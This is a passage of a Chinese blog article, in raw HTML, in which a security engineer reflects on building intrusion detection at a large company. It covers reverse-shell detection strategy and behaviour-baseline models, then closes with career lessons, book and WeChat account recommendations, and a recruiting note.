0px;">头三年的工作经历里，我做过一些安全规则的工作，以反弹shell、提权这一类比较简单的策略为主。但在我想象中，M公司这种成熟的公司肯定会更关注高级的攻击手法，为了避免“囊中羞涩”，我还专门花时间去研究了下Rootkit、后门、进程隐藏这些“高级”手法。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">实际入职后，也是出乎意料的没有用武之地。因为第一件事情，还是反弹shell。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">接到这个任务后，我第一反应就是回忆以前反弹shell的规则是怎么写的——在命令层面加一些关键字检测，然后撸袖子准备开始干活。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">很快就被领导拦下来了，并且发出了一连串灵魂拷问：反弹shell一共有哪些手法？使用频次如何？哪些能在公司环境下使用？现在支持哪些手法的检测？本次要新增对哪些手法的支持？这些手法除了命令之外，有哪些维度特征？如何防止绕过？需要哪些数据源支撑？</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">方向比努力更重要，所以在开始动工之前，按照领导的指导，我花了几天去做大盘的梳理盘点和对标：</p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">反弹shell的本质是什么？</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">shell 通过特定的 连接方式 （与 通讯主体 进行通讯，然后由 通讯主体 ）与外部攻击者进行通讯。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">攻击者通过特定 监听手段 控制机器。</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">反弹shell有哪些手法？</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">分别有哪些特征？</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">如何防止绕过？</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">静态命令特征、动态进程派生特征、网络连接特征、网络通讯特征。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">从命令、进程、网络、流量等多个维度纵深监测。</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">….</span></p></li></ul><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">当大盘梳理完整后，就进入到了一个“下笔如有神”的阶段。因为反弹shell属于攻击特征非常明显的高危动作，整体建模逻辑比较简单直接，通过专家特征匹配即可。规则的编写、验证、验收工作，以非常快的速度完结了。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">但新的问题又浮现出来，反弹shell只是攻击者的众多手法之一，还有非常多的手法没有覆盖，每种手法有可能依赖不同的数据源。这么多事情，应该先做啥？做我刚研究过的Rootkit和后门检测？</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">迷茫的时候，领导带着光出现，再次发出灵魂拷问：常规攻击者通常会使用哪些手法？历史攻击我司的攻击者又是用了哪些手法？目前对这些手法的覆盖率如何？未覆盖的手法做起来的难度和收益如何评估？</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">于是又花了一两周去做分析和复盘，当时或多或少会觉得有些浪费时间，但现在回想起来才觉得这个环节至关重要。这和反弹shell的大盘梳理是类似的逻辑，先明确全局视野、评估各个细分事项的投入，再结合内外部的攻击态势，判断某项工作最终能带来的收益，从而决定是否投入。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">我们可以做容易的事情，不抬头望天只埋头苦干；也可以做所谓“困难”的事情，追求高级手法以提升个人知识技能。运气好的时候可能没什么太大的差异，但时间久了总会有失利的时候，花了许多时间去解决的问题不是主要矛盾，做出来的模型极少有检出，对整体的安全能力贡献极少，长期以往个人的提升也会受限。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">M公司有句老话，讲得非常精准——“坚持做正确的事，而不是容易的事”。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/SfhB0IDvicQmvKVCpCVef54vCgBah8ibXNaunq6VcAib4s5XhjLynQocmz1kic7J1D1heTJaJJIv1y6icusxOF6BnMA/640?wx_fmt=png" data-cropx1="0" data-cropx2="240" data-cropy1="53" data-cropy2="240" data-galleryid="" data-ratio="0.7833333333333333" data-s="300,640" style="width: 240px;height: 187px;" data-type="jpeg" data-w="240" src="https://wechat2rss.xlab.app/img-proxy/?k=e85b6178&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQmvKVCpCVef54vCgBah8ibXN03GZ2x8bQicOIApMePKHa8Ylsls1kJia3BiaNFwWIMRKcnIbDRVIOjQdQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">仰望完星空，接下来就要脚踏实地。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">经过一通分析和对标，得出来了结论：xx攻击手法是历史上出现频次最多的，也是检出效果比较差的，需要高优先级做行为模型的建设，对业务历史行为生成基线，对入侵行为做异常对比（非白即黑）。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">虽然行为模型的逻辑相对清晰，也有比较成熟的业界实践。但真正要在数十万机器量级产生的大数据背景下，把所有的业务操作记录下来并进行实时匹配，并且还要控制误报的量级在人力可运营的范围内（当时的要求是&lt;=10条误报/天），还是一件非常困难的事情。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">我拿起hive和jupyter两把小工具，琢磨分析了几个星期的离线数据，怎么也找不到一个合适的方法控制告警量级，业务总有各种奇奇怪怪的使用方式。建模工作一度陷入瓶颈，好几个星期的周报都是“分析数据进行中，预计下周完成”。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">下周复下周，下周何其多。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">领导再再次出现，很快帮助我理清了思路，确定了迭代的方向——不要妄图一口吃成个胖子，直接做一个完美的通用模型出来，而是先圈定一个小范围，把这部分的问题迭代解决完之后，再逐步扩大范围，最终完成既定目标。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7068548387096775" data-s="300,640" style="width: 329px;height: 233px;" data-type="png" data-w="2480" src="https://wechat2rss.xlab.app/img-proxy/?k=ef43b0f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQmvKVCpCVef54vCgBah8ibXNpx8fpnddcrkAIemZmF5beb07qicbGTxadwePdt5Hic9O0WMCRWVJr0CQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;"><br/></p><p style="margin-bottom: 0px;">靠着持续迭代的思想，行为模型逐渐完善，在近几年的入侵检测中贡献了非常多的检出率，在内部的攻防对抗中，攻击者（更熟悉我们的能力）需要非常谨慎以及要采用更高级的手段来绕过感知，大幅提升了攻击门槛。保障关键项目持续有进展，也成为了领导对我后续工作的要求，对我助益良多。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;"><span style="font-size: 20px;"><strong>五、总结展望</strong></span></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">回顾在M公司这三年，值得一写的事情远不止这些。但真正能写出来、对外公开的内容非常有限。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">我学会了如何在海量数据下建设纵深防御体系，视野上，在对标盘点的过程中了解了行业Top公司安全建设的迭代路径，知道如何往“业界最佳实践”靠拢；实操上，熟练使用实时、离线多种分析方式，做出来的模型也检出了无数次内外部入侵。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">我学会了如何应急止损、快速定位并解决当前入侵风险，并利用各类数据完成溯源，确保历史上没有因同类问题导致的入侵行为。我学会了如何深入复盘并持续迭代能力，从事前建设、事中感知、事后溯源多个维度Review能力缺陷，并推动各方完成迭代更新。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">我学会了如何推动合作团队共同完成目标，在遇到分歧时求同存异，在进展受阻时及时干预引导，在正确的时机上升对齐，推动流程完善以确保高质量交付。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">我学会了...</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">目前取得的一些微小成果，有很多运气成分在里面，没有被顶尖的黑客团队盯上；也仰仗于专业的兄弟团队支持，在保障采集能力稳定运行的同时，没有因灰度对业务产生严重影响；同时也依赖于领导的“教练辅导”，在我方向不清晰、实施过程有阻塞点的时候，及时出现并引导我走向正确方向。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">在这几年的工作中，有一些关键认知迭代，与诸位共勉：</p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p>Agent基建与数据分析的能力，没有哪一部分是能一蹴而就的，也不存在先后关系，都在相互纠缠中慢慢成长完善。</p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">专业的人做专业的事儿，而两个专业团队相互协作的力量，是1+1&gt;2。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">研发同学擅长于解决稳定性、性能、采集方案等问题，安全同学对数据分析、攻击手法、建模思路更熟悉，协作一致才能形成更强大的力量。</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">方向比努力更重要，坚持做正确的事，而不是容易的事。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">如果摸不清楚方向，不如花一些时间抬头看路，在错误的方向上少走几步，也能算是阶段性的胜利。</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">个人能力的成长也需要“迭代”提升。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">《刻意练习》讲过：</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">所谓“天真的练习”，基本上只是反复地做某件事情，并指望只靠那种反复，就能提高表现和水平，但这只会让你在现状中显得更深。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">而“正确的练习”，需要好导师、有目标、有反馈，才能不断走出舒适区，最终变成业内杰出人物。</span></p></li></ul><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">总结完过去，接下来就是展望未来。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5501792114695341" data-s="300,640" style="" data-type="png" data-w="2232" src="https://wechat2rss.xlab.app/img-proxy/?k=65a306b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSfhB0IDvicQmvKVCpCVef54vCgBah8ibXNAicfOiafSvvZCfudmNJoZGu62fA9utDSCXicyibTK4scmXCJtQTknbHXZA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">上图摘自今年Google云安全峰会的议题——《Taking an autonomic approach to security operations》，主要讲Google在做反入侵的时候，在数据采集、数据分析、响应处置、反馈提升四个大的阶段持续迭代，尤其是做了很多自动化处置的事情，以降低成本、更高效的运营闭环，最终提升安全能力。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">Google是安全行业内的标杆，近几年发布的多篇安全白皮书也非常经典，一直在反复强调云原生安全的重要性。与上述议题结合起来看，随着外挂式安全建设的自动化、平台化能力越来越强，节省下来的人力投入到云原生安全方向，也是自然而然的事情。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">以往我司大多数时间在做外挂式安全，已经有了一定的成熟度，也沉淀了很多平台化的能力（当然离Google还有一些距离）。依托这些能力，我们可以快速完成数据采集、分析建模、上线运营等流程，安全同学更专注于攻击手法和策略逻辑，效率也大大提升。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">随着云原生的持续发展落地，我司也在逐渐往云原生安全的方向建设，把安全能力更早的内置到业务逻辑里。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">这是一个关键的转折点，我非常期待在新篇章里去经历新的故事，与公司共同成长。</p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;"><strong><span style="font-size: 20px;">六、碎碎念</span></strong></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">站在巨人肩膀上，看到更远更广阔的世界。文末来推荐几本经典书籍：</p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">《金字塔原理》：</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">写作基本功，如何更清晰、更有条理的表述</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">《非暴力沟通》：</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">沟通基本功，在推动类的工作中非常重要的基本法则</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">《刻意练习》：</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">如何成为大师，成长方法论</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">《领导梯队》：</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">了解自己处于什么位置，以及可能的成长路线</span></p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">《高效能人士的七个习惯》、《可复制的领导力》、《人性的弱点》、《你不可不知的人性》：</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">一些优秀的职场素养，软素质、情商相关</span></p></li></ul><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">也推荐几个优秀的公众号：</p><section class="mp_profile_iframe_wrp" style="margin-bottom: 0px;"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MjM5NjQ5MTI5OA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/hEx03cFgUsVGibnsaEib3aNlqF0tOrA2RGEmNSbia2nnohE4Tpf95UyTiaSjDVbHRfY8WNBeTuLLTaVdSckkNyEx1Q/0?wx_fmt=png" data-nickname="美团技术团队" data-alias="meituantech" data-signature="10000+工程师，如何支撑中国领先的生活服务电子商务平台？数亿消费者、数百万商户、2000多个行业、几千亿交易额背后是哪些技术在支撑？这里是美团、大众点评、美团外卖、美团配送、美团优选等技术团队的对外窗口。" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section class="mp_profile_iframe_wrp" style="margin-bottom: 0px;"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MzU0MDcyMTMxOQ==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/icqm3vRUymZl2PzcJhVGmBDWwFv1InwmicGHiaKiaIHUjMldX298CyiazWE3MuBXqqC4jDgwIszbmSnUmxWdnWP7Tng/0?wx_fmt=png" data-nickname="甲方安全建设" data-alias="blueteams" data-signature="甲方安全建设的点滴，共同学习，一起进步。 笔耕不辍也是对自我的督促。" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section class="mp_profile_iframe_wrp" style="margin-bottom: 0px;"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MzAwMzAwOTQ5Nw==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/4WwicSnkicVGdPIP5k6Duo2vyIJxaYC0Ba4s03HxHhspOPkVhcWcDArrCvJZs89A1JfFtibnIeXIrapDkBsZP73ww/0?wx_fmt=png" data-nickname="安全小飞侠" data-alias="AvFisher" data-signature="长期积累、总结分类、深度思考、落地实践，记录一个普通网安从业人员的所感所想！" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section class="mp_profile_iframe_wrp" style="margin-bottom: 0px;"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MzA5Mzg3NTUwNQ==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/rrT9ZWSiaWae9L0Kz9kQ3BsQJhKJjTYjfPdvvvFHNm6OOcYicmS69XyxdXuA6sDttlmhicJ45jQB4YIJFCfTQIVEg/0?wx_fmt=png" data-nickname="安全乐观主义" data-alias="" data-signature="实践分享企业在建设安全开发生命周期各阶段及流程中的优秀实践，内容涉及代码审计、业界对标、系统工程化心得、国外资料分享，搭建应用安全交流平台。" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section class="mp_profile_iframe_wrp" style="margin-bottom: 0px;"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MzA4MDU0NzY4Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/5AsxricGekWjVicjXViaZnyuTOrEtYLjicjeYC34JULqNhSczJD24n66bQNGzXibOyuJnXFUG8WiaaMia0dpiaUnUdelDA/0?wx_fmt=png" data-nickname="代码审计" data-alias="white-hat-note" data-signature="这里是phith0n的公众号，分享和代码相关的所有问题，不仅限于代码安全。" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section class="mp_profile_iframe_wrp" style="margin-bottom: 0px;"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MzI2MjQ1NTA4MA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/yXsxtS2cfwbbrvrPJc9bTvZFr7n5ZgdWsRKc2GvxcQNogPzLOcveKPP2vpaicqWsRiaASYeEsbAYNsDUWPQ6pyeg/0?wx_fmt=png" data-nickname="君哥的体历" data-alias="jungedetili" data-signature="闲暇时间，逼迫自己，记录分享体验与经历，不求正确统一，但求真、善、美。" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section class="mp_profile_iframe_wrp" style="margin-bottom: 0px;"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg4NTc0MjAwMg==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/sAds7Hl9rO7xGRS4oiaxzejIf5cVYWp4ia695icibicrGQTZUsdzXQnDhibUMg06FMPfrvvGbRfMufoyAAH7as17yU6w/0?wx_fmt=png" data-nickname="朴实无华lake2" data-alias="lake20220220" data-signature="生活就是这么朴实无华，且枯燥" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section class="mp_profile_iframe_wrp" style="margin-bottom: 0px;"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MzI1NTc1NTcwNg==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/jEESHeKDyVxhtbAawicDNOVJB5zLyiaibU8WAjT97QyuTCNoCXIlq0o7fYIMu3Tp1Pw7fZQicTYGHKOib7EmCa4tUVA/0?wx_fmt=png" data-nickname="灾难控制 局" data-alias="SecDamageControl" data-signature="这里是灾难控制局,紧急紧急联系电话:127.0.0.1" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section class="mp_profile_iframe_wrp" style="margin-bottom: 0px;"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MzIwODIxMjc4MQ==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/ttTDFzozho4UFHP8A0f2s9fa8LrWVZ5Ny8OeCgb1h3X8YV9CgSVpiaPRzvYlEg0WfFQ4udBAxENnFA7hib7x9D0Q/0?wx_fmt=png" data-nickname="七夜安全博客" data-alias="qiye_safe" data-signature="和七夜一起去探索人生的星辰大海，技术人并不只有技术，你要的人生成长与自由在这里" data-from="0" data-is_biz_ban="0"></mp-common-profile><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;"></span></section><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">欢迎加我微信一起交流HIDS和反入侵建设的经验。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/SfhB0IDvicQmvKVCpCVef54vCgBah8ibXNTtcYSr53FDavvicxet8ylafVosibvsB8o4ibZP3EnWKOY9UY3fjQNzib3Q/640?wx_fmt=jpeg" data-cropx1="104.14285714285714" data-cropx2="956.5714285714286" data-cropy1="289.2857142857143" data-cropy2="1161" data-galleryid="" data-ratio="1.0246478873239437" data-s="300,640" style="width: 221px;height: 226px;" data-type="jpeg" data-w="852" src="https://wechat2rss.xlab.app/img-proxy/?k=38711793&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQmvKVCpCVef54vCgBah8ibXNODv9Lk2XHPhEv5Pf7GcQNxXGl3hpdTXaqFsov5gBDouDliat2ScW6WA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;">最后打个小广告，如果你想从事反入侵工作、希望能在此领域深耕，我们恰好在找一路同行的伙伴，欢迎来试试看。</p><section powered-by="xiumi.us" style="margin: 25px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: left;justify-content: flex-start;display: flex;flex-flow: row nowrap;visibility: visible;"><section data-darkmode-bgcolor-16609009164016="rgb(195, 191, 172)" data-darkmode-original-bgcolor-16609009164016="#fff|rgb(250, 245, 221)" data-style="display: inline-block; width: auto; vertical-align: top; background-color: rgb(250, 245, 221); min-width: 10%; max-width: 100%; flex: 0 0 auto; height: auto; align-self: flex-start; box-sizing: border-box;" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(250, 245, 221);display: inline-block;width: auto;vertical-align: top;min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-start;color: rgb(25, 25, 25) !important;visibility: visible;"><section powered-by="xiumi.us" data-darkmode-bgcolor-16609009164016="rgb(195, 191, 172)" data-darkmode-original-bgcolor-16609009164016="#fff|rgb(250, 245, 221)" style="margin: -9px 0px 5px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: flex;flex-flow: row nowrap;justify-content: flex-start;visibility: visible;"><section data-darkmode-bgcolor-16609009164016="rgb(195, 191, 172)" data-darkmode-original-bgcolor-16609009164016="#fff|rgb(250, 245, 221)" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: top;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;visibility: visible;"><section powered-by="xiumi.us" data-darkmode-bgcolor-16609009164016="rgb(195, 191, 172)" data-darkmode-original-bgcolor-16609009164016="#fff|rgb(250, 245, 221)" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"><section data-darkmode-bgcolor-16609009164016="rgb(195, 191, 172)" data-darkmode-original-bgcolor-16609009164016="#fff|rgb(250, 245, 221)" data-darkmode-color-16609009164016="rgb(173, 125, 2)" data-darkmode-original-color-16609009164016="#fff|rgb(253, 188, 24)" data-style="color: rgb(253, 188, 24); font-size: 15px; padding: 0px 13px; line-height: 1; letter-spacing: 0px; text-align: justify; box-sizing: border-box;" style="margin: 0px;padding: 0px 13px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(253, 188, 24);font-size: 15px;line-height: 1;letter-spacing: 0px;text-align: justify;visibility: visible;"><p data-darkmode-bgcolor-16609009164016="rgb(195, 191, 172)" 